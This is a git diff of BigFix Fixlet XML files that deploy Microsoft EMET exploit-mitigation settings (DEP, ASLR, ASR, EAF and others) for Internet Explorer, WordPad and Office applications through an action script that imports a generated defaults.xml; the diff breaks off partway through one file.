+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(size of ((set of (&quot;*\Internet Explorer\iexplore.exe&quot;;&quot;*\Windows NT\Accessories\wordpad.exe&quot;;&quot;*\OFFICE1*\OUTLOOK.EXE&quot;;&quot;*\OFFICE1*\WINWORD.EXE&quot;;&quot;*\OFFICE1*\EXCEL.EXE&quot;;&quot;*\OFFICE1*\POWERPNT.EXE&quot;;&quot;*\OFFICE1*\MSACCESS.EXE&quot;;&quot;*\OFFICE1*\MSPUB.EXE&quot;;&quot;*\OFFICE1*\INFOPATH.EXE&quot;;&quot;*\OFFICE1*\VISIO.EXE&quot;;&quot;*\OFFICE1*\VPREVIEW.EXE&quot;;&quot;*\OFFICE1*\LYNC.EXE&quot;;&quot;*\OFFICE1*\PPTVIEW.EXE&quot;;&quot;*\OFFICE1*\OIS.EXE&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<EMET Version="5.5.5871.31890">
+  <EMET_Apps>
+    <AppConfig Path="*\Internet Explorer" Executable="iexplore.exe">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="true">
+        <eaf_modules>mshtml.dll;flash*.ocx;jscript*.dll;vbscript.dll;vgx.dll</eaf_modules>
+      </Mitigation>
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>npjpi*.dll;jp2iexp.dll;vgx.dll;msxml4*.dll;wshom.ocx;scrrun.dll;vbscript.dll</asr_modules>
+        <asr_zones>1;2</asr_zones>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\Windows NT\Accessories" Executable="wordpad.exe">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="OUTLOOK.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="WINWORD.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="EXCEL.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="POWERPNT.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="MSACCESS.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="MSPUB.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="INFOPATH.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="VISIO.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="VPREVIEW.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="LYNC.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="PPTVIEW.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="OIS.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+</EMET_Apps>
+</EMET>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows (20897).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows (20897).bes
index b6ab99a49..645f67c3a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows (20897).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows (20897).bes	
@@ -1,317 +1,317 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows
-  ID       : 20897
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-07T23:19:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - EMET Rules - Enable Microsoft Application Mitigations without EAF - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
-<P>Specifically it configures EMET to detect exploits for the following applications:</P>
-<UL>
-<LI>Access
-<LI>Excel
-<LI>InfoPath
-<LI>Internet Explorer
-<LI>Lync
-<LI>Outlook
-<LI>PowerPoint
-<LI>Publisher
-<LI>Visio
-<LI>Word
-<LI>WordPad</LI></UL>
-<P>This Fixlet in particular excludes ALL EAF configurations.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
-    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
-    <Relevance>(size of ((set of (&quot;*\Internet Explorer\iexplore.exe&quot;;&quot;*\Windows NT\Accessories\wordpad.exe&quot;;&quot;*\OFFICE1*\OUTLOOK.EXE&quot;;&quot;*\OFFICE1*\WINWORD.EXE&quot;;&quot;*\OFFICE1*\EXCEL.EXE&quot;;&quot;*\OFFICE1*\POWERPNT.EXE&quot;;&quot;*\OFFICE1*\MSACCESS.EXE&quot;;&quot;*\OFFICE1*\MSPUB.EXE&quot;;&quot;*\OFFICE1*\INFOPATH.EXE&quot;;&quot;*\OFFICE1*\VISIO.EXE&quot;;&quot;*\OFFICE1*\VPREVIEW.EXE&quot;;&quot;*\OFFICE1*\LYNC.EXE&quot;;&quot;*\OFFICE1*\PPTVIEW.EXE&quot;;&quot;*\OFFICE1*\OIS.EXE&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
-
-delete __createfile
-delete defaults.xml
-
-createfile until _end_
-<?xml version="1.0"?>
-<EMET Version="5.5.5871.31890">
-  <EMET_Apps>
-    <AppConfig Path="*\Internet Explorer" Executable="iexplore.exe">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false">
-        <eaf_modules>mshtml.dll;flash*.ocx;jscript*.dll;vbscript.dll;vgx.dll</eaf_modules>
-      </Mitigation>
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="true">
-        <asr_modules>npjpi*.dll;jp2iexp.dll;vgx.dll;msxml4*.dll;wshom.ocx;scrrun.dll;vbscript.dll</asr_modules>
-        <asr_zones>1;2</asr_zones>
-      </Mitigation>
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\Windows NT\Accessories" Executable="wordpad.exe">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="OUTLOOK.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="WINWORD.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="true">
-        <asr_modules>flash*.ocx</asr_modules>
-      </Mitigation>
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="EXCEL.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="true">
-        <asr_modules>flash*.ocx</asr_modules>
-      </Mitigation>
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="POWERPNT.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="true">
-        <asr_modules>flash*.ocx</asr_modules>
-      </Mitigation>
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="MSACCESS.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="MSPUB.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="INFOPATH.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="VISIO.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="VPREVIEW.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="LYNC.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="false" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
